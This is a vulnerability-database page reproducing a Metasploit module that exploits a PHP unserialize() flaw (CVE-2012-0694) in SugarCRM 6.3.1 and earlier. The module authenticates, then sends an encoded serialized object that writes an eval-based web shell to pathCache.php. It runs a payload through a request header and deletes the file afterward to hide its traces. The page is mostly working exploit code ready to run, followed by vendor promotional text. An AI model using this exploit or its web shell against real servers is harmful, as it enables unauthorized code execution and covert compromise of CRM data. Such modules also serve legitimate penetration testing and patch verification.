Lucene search
K

SugarCRM <= 6.3.1 unserialize() PHP Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

SugarCRM <= 6.3.1 unserialize() PHP Code Execution. Vulnerability allows authenticated users to execute arbitrary code with webserver permissions using unserialize() in SugarCRM <= 6.3.1

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;SugarCRM &#60;= 6.3.1 unserialize() PHP Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a php unserialize() vulnerability in SugarCRM &#60;= 6.3.1
				which could be abused to allow authenticated SugarCRM users to execute arbitrary
				code with the permissions of the webserver.

				The dangerous unserialize() exists in the &#39;include/MVC/View/views/view.list.php&#39;
				script, which is called with user controlled data from the &#39;current_query_by_page&#39;
				parameter. The exploit abuses the __destruct() method from the SugarTheme class
				to write arbitrary PHP code to a &#39;pathCache.php&#39; on the web root.
			},
			&#39;Author&#39;	=&#62;
				[
					&#39;EgiX&#39;, # Vulnerability discovery and PoC
					&#39;juan vazquez&#39;, # Metasploit module
					&#39;sinn3r&#39; # Metasploit module
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision$&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2012-0694&#39; ],
					[ &#39;EDB&#39;, &#39;19381&#39; ],
					[ &#39;URL&#39;, &#39;http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/&#39; ]
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Platform&#39;       =&#62; [&#39;php&#39;],
			&#39;Arch&#39;           =&#62; ARCH_PHP,
			&#39;Payload&#39;        =&#62;
				{
					&#39;DisableNops&#39; =&#62; true,
				},
			&#39;Targets&#39;        =&#62; [ [&#39;Automatic&#39;, { }], ],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Jun 23 2012&#39;
			))

			register_options(
				[
					OptString.new(&#39;TARGETURI&#39;,	[ true, &#34;The base path to the web application&#34;, &#34;/sugarcrm/&#34;]),
					OptString.new(&#39;USERNAME&#39;, [true, &#34;The username to authenticate with&#34; ]),
					OptString.new(&#39;PASSWORD&#39;, [true, &#34;The password to authenticate with&#34; ])
				], self.class)
	end


	def on_new_session(client)
		if client.type == &#34;meterpreter&#34;
			f = &#34;pathCache.php&#34;
			client.core.use(&#34;stdapi&#34;) if not client.ext.aliases.include?(&#34;stdapi&#34;)
			begin
				client.fs.file.rm(f)
				print_good(&#34;#{@peer} - #{f} removed to stay ninja&#34;)
			rescue
				print_error(&#34;#{@peer} - Unable to remove #{f}&#34;)
			end
		end
	end

	def exploit
		base = target_uri.path
		base &#60;&#60; &#39;/&#39; if base[-1, 1] != &#39;/&#39;

		@peer = &#34;#{rhost}:#{rport}&#34;
		username = datastore[&#39;USERNAME&#39;]
		password = datastore[&#39;PASSWORD&#39;]

		# Can&#39;t use vars_post because it&#39;ll escape &#34;_&#34;
		data = &#34;module=Users&&#34;
		data &#60;&#60; &#34;action=Authenticate&&#34;
		data &#60;&#60; &#34;user_name=#{username}&&#34;
		data &#60;&#60; &#34;user_password=#{password}&#34;

		res = send_request_cgi(
		{
			&#39;uri&#39;    =&#62; &#34;#{base}index.php&#34; ,
			&#39;method&#39; =&#62; &#34;POST&#34;,
			&#39;headers&#39;   =&#62;
				{
					&#39;Cookie&#39;  =&#62; &#34;PHPSESSID=1&#34;,
				},
			&#39;data&#39;   =&#62; data
		})

		if not res or res.headers[&#39;Location&#39;] =~ /action=Login/ or not res.headers[&#39;Set-Cookie&#39;]
			print_error(&#34;#{@peer} - Login failed with \&#34;#{username}:#{password}\&#34;&#34;)
			return
		end

		if res.headers[&#39;Set-Cookie&#39;] =~ /PHPSESSID=([A-Za-z0-9]*); path/
			session_id = $1
		else
			print_error(&#34;#{@peer} - Login failed with \&#34;#{username}:#{password}\&#34; (No session ID)&#34;)
			return
		end

		print_status(&#34;#{@peer} - Login successful with #{username}:#{password}&#34;)

		data = &#34;module=Contacts&&#34;
		data &#60;&#60; &#34;Contacts2_CONTACT_offset=1&&#34;
		data &#60;&#60; &#34;current_query_by_page=&#34;
		#O:10:&#34;SugarTheme&#34;:2:{s:10:&#34;*dirName&#34;;s:5:&#34;../..&#34;;s:20:&#34;SugarTheme_jsCache&#34;;s:49:&#34;&#60;?php eval(base64_decode($_SERVER[HTTP_CMD])); ?&#62;&#34;;}
		data &#60;&#60; &#34;TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30=&#34;

		print_status(&#34;#{@peer} - Exploiting the unserialize()&#34;)

		res = send_request_cgi(
		{
			&#39;uri&#39; =&#62; &#34;#{base}index.php&#34;,
			&#39;method&#39; =&#62; &#39;POST&#39;,
			&#39;headers&#39;   =&#62;
			{
				&#39;Cookie&#39;  =&#62; &#34;PHPSESSID=#{session_id};&#34;,
			},
			&#39;data&#39; =&#62; data
		})

		if not res or res.code != 200
			print_error(&#34;#{@peer} - Exploit failed: #{res.code}&#34;)
			return
		end

		print_status(&#34;#{@peer} - Executing the payload&#34;)

		res = send_request_cgi(
		{
			&#39;method&#39; =&#62; &#39;GET&#39;,
			&#39;uri&#39;    =&#62; &#34;#{base}pathCache.php&#34;,
			&#39;headers&#39; =&#62; {
				&#39;Cmd&#39; =&#62; Rex::Text.encode_base64(payload.encoded)
			}
		})

		if res
			print_error(&#34;#{@peer} - Payload execution failed: #{res.code}&#34;)
			return
		end

	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation